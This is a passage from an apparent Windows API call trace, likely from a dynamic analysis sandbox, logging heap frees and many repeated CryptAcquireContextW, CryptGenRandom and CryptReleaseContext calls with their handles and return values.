RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514d88 [0030.054] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514e18 [0030.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514488 | out: hHeap=0x4f0000) returned 1 [0030.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5143f8 | out: hHeap=0x4f0000) returned 1 [0030.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514368 | out: hHeap=0x4f0000) returned 1 [0030.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5142d8 | out: hHeap=0x4f0000) returned 1 [0030.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514248 | out: hHeap=0x4f0000) returned 1 [0030.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5141b8 | out: hHeap=0x4f0000) returned 1 [0030.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514128 | out: hHeap=0x4f0000) returned 1 [0030.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514098 | out: hHeap=0x4f0000) returned 1 [0030.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514008 | out: hHeap=0x4f0000) returned 1 [0030.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513f78 | out: hHeap=0x4f0000) returned 1 [0030.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513ee8 | out: hHeap=0x4f0000) returned 1 [0030.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513e58 | out: hHeap=0x4f0000) returned 1 [0030.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513dc8 | out: hHeap=0x4f0000) returned 1 [0030.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513d38 | out: hHeap=0x4f0000) returned 1 [0030.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513ca8 | out: hHeap=0x4f0000) returned 1 [0030.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513c18 | out: hHeap=0x4f0000) returned 1 [0030.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513b88 | out: hHeap=0x4f0000) returned 1 [0030.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514638 | out: hHeap=0x4f0000) returned 1 [0030.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5146c8 | out: hHeap=0x4f0000) returned 1 [0030.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514758 | out: hHeap=0x4f0000) returned 1 [0030.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5147e8 | out: hHeap=0x4f0000) returned 1 [0030.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514878 | out: hHeap=0x4f0000) returned 1 [0030.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514908 | out: hHeap=0x4f0000) returned 1 [0030.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514998 | out: hHeap=0x4f0000) returned 1 [0030.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514a28 | out: hHeap=0x4f0000) returned 1 [0030.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514ab8 | out: hHeap=0x4f0000) returned 1 [0030.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514b48 | out: hHeap=0x4f0000) returned 1 [0030.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514bd8 | out: hHeap=0x4f0000) returned 1 [0030.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514c68 | out: hHeap=0x4f0000) returned 1 [0030.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514cf8 | out: hHeap=0x4f0000) returned 1 [0030.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514d88 | out: hHeap=0x4f0000) returned 1 [0030.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514e18 | out: hHeap=0x4f0000) returned 1 [0030.058] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514518 | out: hHeap=0x4f0000) returned 1 [0030.058] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0030.058] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511058 | out: hHeap=0x4f0000) returned 1 [0030.058] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5110e0 | out: hHeap=0x4f0000) returned 1 [0030.058] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5145a8 | out: hHeap=0x4f0000) returned 1 [0030.058] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511780 | out: hHeap=0x4f0000) returned 1 [0030.058] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.058] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.058] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.058] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.059] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.059] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.059] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.060] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.060] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.060] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.061] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.061] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.061] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.061] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.062] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.062] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.062] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.062] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.062] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.063] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.063] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.063] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.064] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.064] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.064] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.065] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.065] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.065] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.066] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.066] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.066] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.066] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.066] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.121] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.122] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.122] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.122] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.122] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.122] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.122] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.123] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.123] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.123] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.124] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.124] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.124] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.125] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.125] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.125] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.125] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.126] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.126] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.127] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.127] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.127] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.128] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.128] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.128] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.128] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.128] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.129] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.129] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.129] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.129] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.130] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.130] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.130] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.131] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.131] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.131] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.132] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.132] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.132] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.132] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.132] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.133] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.133] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.133] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.133] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.134] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.134] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.188] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.196] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.196] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.196] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.197] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.197] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.197] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.197] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.197] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.198] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.198] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.198] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.198] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.199] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.199] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.199] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.200] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.200] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.200] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.201] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.201] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.201] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.201] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.201] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.201] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.202] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.202] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.202] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.203] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.203] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.203] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.204] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.204] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.204] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.205] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.205] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.205] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.205] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.205] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.206] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.206] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.206] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.206] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.207] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.207] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.207] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.208] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.208] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.267] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.267] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.267] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.267] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.268] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.268] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.268] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.269] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.269] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.269] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.270] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.270] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.270] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.270] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.270] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.271] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.271] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.271] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.271] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.272] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.272] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.272] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.273] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.273] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.273] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.273] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.273] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.274] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.274] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.274] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.274] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.275] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.275] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.275] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.276] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.276] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.276] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.276] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.276] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.277] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.277] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.277] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.277] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.278] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.278] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.278] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.279] CryptGenRandom 